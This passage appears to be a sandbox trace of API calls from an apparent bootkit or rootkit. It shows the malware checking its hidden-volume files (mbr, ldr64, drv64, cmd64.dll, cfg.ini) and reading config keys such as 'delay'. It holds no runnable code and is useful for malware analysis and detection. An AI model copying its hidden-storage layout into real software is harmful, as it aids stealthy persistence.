(in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.485] IdePortDispatch () returned 0x103 [0118.485] KeWaitForMutexObject () returned 0x0 [0118.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.485] KeLeaveCriticalRegion () [0118.485] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.486] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.486] KeEnterCriticalRegion () [0118.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.486] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.486] KeLeaveCriticalRegion () [0118.486] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.486] KeEnterCriticalRegion () [0118.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.486] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.486] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.486] KeLeaveCriticalRegion () [0118.486] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.486] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.486] KeEnterCriticalRegion () [0118.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.486] ExFreePoolWithTag (P=0xfffffa8003bdfde0, Tag=0x0) [0118.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.486] KeLeaveCriticalRegion () [0118.486] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.486] ReleaseMutex (hMutex=0xf0) returned 1 [0118.486] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.486] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.486] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.486] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.486] KeEnterCriticalRegion () [0118.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.486] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.486] IdePortDispatch () returned 0x103 [0118.487] KeWaitForMutexObject () returned 0x0 [0118.487] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.487] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.487] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.487] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.487] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.487] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.487] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.487] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.487] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.487] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.487] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.487] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.487] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.487] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.487] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.487] KeLeaveCriticalRegion () [0118.487] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.487] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.487] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.487] KeEnterCriticalRegion () [0118.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.487] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.487] IdePortDispatch () returned 0x103 [0118.487] KeWaitForMutexObject () returned 0x0 [0118.487] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.487] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.487] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.487] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.487] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.487] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.487] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.487] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.488] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.488] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.488] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.488] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.488] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.488] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.488] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.488] KeLeaveCriticalRegion () [0118.488] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.488] ReleaseMutex (hMutex=0x100) returned 1 [0118.488] Sleep (dwMilliseconds=0x2bf20) [0118.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69d36450, dwHighDateTime=0x1d24fa4)) [0118.496] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.496] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.496] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.496] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.496] KeEnterCriticalRegion () [0118.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.496] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.496] IdePortDispatch () returned 0x103 [0118.496] KeWaitForMutexObject () returned 0x0 [0118.496] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.496] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.496] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.496] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.496] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.496] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7a00 [0118.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.496] KeLeaveCriticalRegion () [0118.496] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.496] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.496] KeEnterCriticalRegion () [0118.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.496] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.496] KeLeaveCriticalRegion () [0118.496] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.497] KeEnterCriticalRegion () [0118.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.497] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.497] IdePortDispatch () returned 0x103 [0118.497] KeWaitForMutexObject () returned 0x0 [0118.497] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.497] KeLeaveCriticalRegion () [0118.497] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.497] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.497] KeEnterCriticalRegion () [0118.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.497] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce9000 [0118.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.497] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.497] IdePortDispatch () returned 0x103 [0118.497] KeWaitForMutexObject () returned 0x0 [0118.497] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.497] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.497] IdePortDispatch () returned 0x103 [0118.498] KeWaitForMutexObject () returned 0x0 [0118.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.498] KeLeaveCriticalRegion () [0118.498] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.498] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.498] KeEnterCriticalRegion () [0118.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.498] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.498] KeLeaveCriticalRegion () [0118.498] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.498] KeEnterCriticalRegion () [0118.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.498] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.498] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.498] KeLeaveCriticalRegion () [0118.498] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.498] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.498] KeEnterCriticalRegion () [0118.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.498] ExFreePoolWithTag (P=0xfffffa80039d7a00, Tag=0x0) [0118.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.498] KeLeaveCriticalRegion () [0118.498] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.499] ReleaseMutex (hMutex=0xf0) returned 1 [0118.499] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.499] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.499] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.499] KeEnterCriticalRegion () [0118.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.499] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.499] IdePortDispatch () returned 0x103 [0118.499] KeWaitForMutexObject () returned 0x0 [0118.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.499] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.499] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.499] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.499] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.499] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003adb9d0 [0118.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.499] KeLeaveCriticalRegion () [0118.499] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.499] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.499] KeEnterCriticalRegion () [0118.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.499] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.499] KeLeaveCriticalRegion () [0118.499] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.499] KeEnterCriticalRegion () [0118.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.499] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.499] IdePortDispatch () returned 0x103 [0118.500] KeWaitForMutexObject () returned 0x0 [0118.500] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.500] KeLeaveCriticalRegion () [0118.500] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.500] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.500] KeEnterCriticalRegion () [0118.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.500] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cea000 [0118.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.500] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.500] IdePortDispatch () returned 0x103 [0118.500] KeWaitForMutexObject () returned 0x0 [0118.500] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.500] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.500] IdePortDispatch () returned 0x103 [0118.500] KeWaitForMutexObject () returned 0x0 [0118.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.501] KeLeaveCriticalRegion () [0118.501] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.501] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.501] KeEnterCriticalRegion () [0118.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.501] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.501] KeLeaveCriticalRegion () [0118.501] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.501] KeEnterCriticalRegion () [0118.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.501] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.501] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.501] KeLeaveCriticalRegion () [0118.501] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.501] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.501] KeEnterCriticalRegion () [0118.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.501] ExFreePoolWithTag (P=0xfffffa8003adb9d0, Tag=0x0) [0118.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.501] KeLeaveCriticalRegion () [0118.501] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.501] ReleaseMutex (hMutex=0xf0) returned 1 [0118.501] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.501] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.501] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.502] KeEnterCriticalRegion () [0118.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.502] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.502] IdePortDispatch () returned 0x103 [0118.502] KeWaitForMutexObject () returned 0x0 [0118.502] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.502] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.502] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.502] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.502] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.502] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5e10 [0118.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.502] KeLeaveCriticalRegion () [0118.502] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.502] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.502] KeEnterCriticalRegion () [0118.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.502] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, 